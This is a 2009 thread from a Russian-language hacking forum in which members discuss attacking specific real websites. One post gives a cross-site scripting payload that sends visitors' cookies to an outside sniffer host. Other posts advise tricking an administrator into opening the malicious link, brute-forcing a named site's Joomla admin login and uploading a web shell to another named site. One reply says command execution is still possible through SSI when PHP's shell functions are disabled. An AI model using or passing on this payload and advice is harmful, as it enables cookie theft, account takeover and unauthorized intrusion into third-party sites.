HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 27.10.2009, 10:50
KREGI
Новичок
Регистрация: 09.02.2009
Сообщений: 23
Провел на форуме:
51759

Репутация: -9
По умолчанию

HAXTA4OK, понял, вечером проверю логи сниффера, вдруг что нить получиться))
 

  #2  
Старый 27.10.2009, 10:51
KREGI
Новичок
Регистрация: 09.02.2009
Сообщений: 23
Провел на форуме:
51759

Репутация: -9
По умолчанию

HAXTA4OK проверил ка4к ты сказал, не пришли, блин. можешь посмотреть что я не так сделал?
 

  #3  
Старый 27.10.2009, 10:54
KREGI
Новичок
Регистрация: 09.02.2009
Сообщений: 23
Провел на форуме:
51759

Репутация: -9
По умолчанию

<script>
img = new Image(); img.src = "http://faiki.hut2.ru/s.gif"+document.cookie;
</script>

Вот такой код, в писываю в адрессную строку, в поле поиска появляется img new image();
 

  #4  
Старый 27.10.2009, 10:54
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме:
4358210

Репутация: 2017


По умолчанию

прочел тему твою сначала, тьфу, у тебя пассивная а не активная, для этого тебе надо эту ссылку как то впарить админу что бы он по ней прошел, что мало вероятно

зы ощущение что ее там вообще нету =\

Последний раз редактировалось HAXTA4OK; 27.10.2009 в 10:56..
 

  #5  
Старый 27.10.2009, 11:22
KREGI
Новичок
Регистрация: 09.02.2009
Сообщений: 23
Провел на форуме:
51759

Репутация: -9
По умолчанию

ребят, а еще есть какой нить способ по моему сайту?
 

  #6  
Старый 27.10.2009, 13:23
wkar
Познающий
Регистрация: 18.10.2009
Сообщений: 80
Провел на форуме:
1180165

Репутация: 11
По умолчанию

На счет твоего сайта, могу сказать что он стоин на системе Joomla 1.5,если я не ошыбаюсь.
 

  #7  
Старый 27.10.2009, 13:37
wkar
Познающий
Регистрация: 18.10.2009
Сообщений: 80
Провел на форуме:
1180165

Репутация: 11
По умолчанию

Можеш также брутом подобрать у админке
http://www.in-vest-group.ru/administrator/index.php

ПиСи
Я вообше удивляюсь где ты там увидел ксс.
 

  #8  
Старый 27.10.2009, 14:57
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

Можно ли выполнить комманду, если:
Код:
Disable Functions: escapeshellarg,escapeshellcmd,dl,shell_exec,exec,system,passthru,popen,pclose,proc_open,proc_nice,proc_close,proc_getstatus,pcntl_exec,link,symlink,apache_child_terminate,proc_terminate,posix_mkfifo,posix_getuid,posix_geteuid, posix_getgid,ssh,ssh_exec,ssh2,set_time_limit, safe_mode,posix_setpgid,posix_getpwuid, posix_getgrgid,posix_kill,ssh2_exec,pcntl_exec, ini_restore,ioctl,highlight_file, show_source,ini_alter, leak,ssthru,get_current_user, openlog,settimelimit,apache_get_modules,apache_get_version, apache_setenv,proc_get_status,posix_setsid, posix_setuid, chgrp, getmyuid, posix_access, stream_set_blocking, stream_get_transports, pfsockopen,ini_set, iniset
 

  #9  
Старый 27.10.2009, 15:30
diehard
Постоянный
Регистрация: 30.09.2007
Сообщений: 815
Провел на форуме:
2590715

Репутация: 659


Отправить сообщение для diehard с помощью ICQ
По умолчанию

Цитата:
Сообщение от mailbrush  
Можно ли выполнить комманду, если:
Код:
Disable Functions: escapeshellarg,escapeshellcmd,dl,shell_exec,exec,system,passthru,popen,pclose,proc_open,proc_nice,proc_close,proc_getstatus,pcntl_exec,link,symlink,apache_child_terminate,proc_terminate,posix_mkfifo,posix_getuid,posix_geteuid, posix_getgid,ssh,ssh_exec,ssh2,set_time_limit, safe_mode,posix_setpgid,posix_getpwuid, posix_getgrgid,posix_kill,ssh2_exec,pcntl_exec, ini_restore,ioctl,highlight_file, show_source,ini_alter, leak,ssthru,get_current_user, openlog,settimelimit,apache_get_modules,apache_get_version, apache_setenv,proc_get_status,posix_setsid, posix_setuid, chgrp, getmyuid, posix_access, stream_set_blocking, stream_get_transports, pfsockopen,ini_set, iniset
можно, через SSI если в apache он включен (mod_include)

Последний раз редактировалось diehard; 27.10.2009 в 17:53..
 

  #10  
Старый 27.10.2009, 18:59
wkar
Познающий
Регистрация: 18.10.2009
Сообщений: 80
Провел на форуме:
1180165

Репутация: 11
По умолчанию

Можно что-то зделать через http://forum.psihov.net.ua/store/album альбом?
Например залить шелл?
 
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ